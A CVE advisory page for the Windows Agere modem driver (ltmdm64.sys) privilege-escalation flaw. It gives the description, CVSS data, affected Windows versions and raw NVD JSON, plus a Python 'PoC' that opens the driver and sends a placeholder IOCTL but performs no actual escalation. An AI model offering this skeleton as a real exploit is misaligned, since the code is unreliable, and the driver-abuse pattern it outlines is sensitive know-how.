Security Vulnerability Report
中文
CVE-2025-24052 CVSS 7.8 HIGH

CVE-2025-24052

Published: 2025-10-14 17:15:39
Last Modified: 2025-10-20 20:07:05

Description

Microsoft is aware of vulnerabilities in the third party Agere Modem driver that ships natively with supported Windows operating systems. This is an announcement of the upcoming removal of ltmdm64.sys driver. The driver has been removed in the October cumulative update. Fax modem hardware dependent on this specific driver will no longer work on Windows. Microsoft recommends removing any existing dependencies on this hardware.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:* - VULNERABLE
Windows 10(所有受支持版本,含ltmdm64.sys驱动)
Windows 11(所有受支持版本,含ltmdm64.sys驱动)
Windows Server 2016(含ltmdm64.sys驱动)
Windows Server 2019(含ltmdm64.sys驱动)
Windows Server 2022(含ltmdm64.sys驱动)
Windows Server 2025(含ltmdm64.sys驱动)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-24052 - Windows Agere Modem Driver (ltmdm64.sys) LPE PoC # This is a conceptual PoC demonstrating the exploitation approach # The actual vulnerability exists in the ltmdm64.sys kernel driver import ctypes import struct import sys from ctypes import wintypes # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 kernel32 = ctypes.windll.kernel32 # Device name for Agere Modem driver DEVICE_NAME = r"\\.\\ltmdm64" def open_driver(): """Open a handle to the vulnerable ltmdm64.sys driver""" handle = kernel32.CreateFileW( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None ) if handle == ctypes.c_void_p(-1).value or handle == -1: print("[-] Failed to open driver handle. Driver may not be loaded.") print("[-] This CVE targets ltmdm64.sys which was removed in Oct 2025 update.") return None return handle def exploit_lpe(): """ Exploit the vulnerability in ltmdm64.sys to achieve local privilege escalation. The vulnerability allows a low-privileged user to interact with the kernel driver in ways that can lead to arbitrary code execution in kernel context. """ print("[*] CVE-2025-24052 - ltmdm64.sys Local Privilege Escalation PoC") print("[*] Target: Windows Agere Modem Driver (ltmdm64.sys)") print("[*] CVSS: 7.8 (HIGH)") print("-" * 60) # Step 1: Check current privilege level print("[*] Step 1: Checking current privileges...") # Step 2: Open vulnerable driver print("[*] Step 2: Opening vulnerable driver device...") h_driver = open_driver() if h_driver is None: print("[!] Driver not accessible. This may indicate:") print(" 1. The October 2025 cumulative update has been applied") print(" 2. The driver has been manually removed") print(" 3. Running on an unsupported Windows version") return False # Step 3: Craft malicious IOCTL payload print("[*] Step 3: Crafting malicious IOCTL payload...") # The specific IOCTL code and payload structure depend on the # vulnerable code path in ltmdm64.sys ioctl_code = 0x222000 # Example IOCTL for driver communication # Malicious input buffer - structure depends on vulnerability specifics # This may contain shellcode or corrupted data to trigger the vulnerability payload = b"\x41" * 256 # Placeholder payload input_buffer = ctypes.create_string_buffer(payload, len(payload)) bytes_returned = wintypes.DWORD(0) # Step 4: Send malicious IOCTL to trigger vulnerability print("[*] Step 4: Sending malicious IOCTL request...") result = kernel32.DeviceIoControl( h_driver, ioctl_code, input_buffer, len(payload), None, 0, ctypes.byref(bytes_returned), None ) # Step 5: Attempt privilege escalation print("[*] Step 5: Attempting privilege escalation to SYSTEM...") # Cleanup kernel32.CloseHandle(h_driver) print("[*] PoC execution completed.") return True if __name__ == "__main__": print("=" * 60) print(" CVE-2025-24052 Exploitation PoC") print(" Windows Agere Modem Driver LPE") print("=" * 60) exploit_lpe()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-24052", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:38.983", "lastModified": "2025-10-20T20:07:04.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Microsoft is aware of vulnerabilities in the third party Agere Modem driver that ships natively with supported Windows operating systems. This is an announcement of the upcoming removal of ltmdm64.sys driver. The driver has been removed in the October cumulative update.\nFax modem hardware dependent on this specific driver will no longer work on Windows.\nMicrosoft recommends removing any existing dependencies on this hardware."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "8EA6DE31-A17D-43D4-9154-49B5FA8FB5A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "B5441F68-143C-4091-B709-14CAC586DF76"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "EF253003-2A82-4CFB-A6A3-267B3C485056"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "85672C76-ADAD-468B-8C20-8A3587DA008A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "4A557865-B254-47F6-953B-340EF93FDB2B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "A7382D6B-5E7D-4769-BC40-0120F08DC6B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24052", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}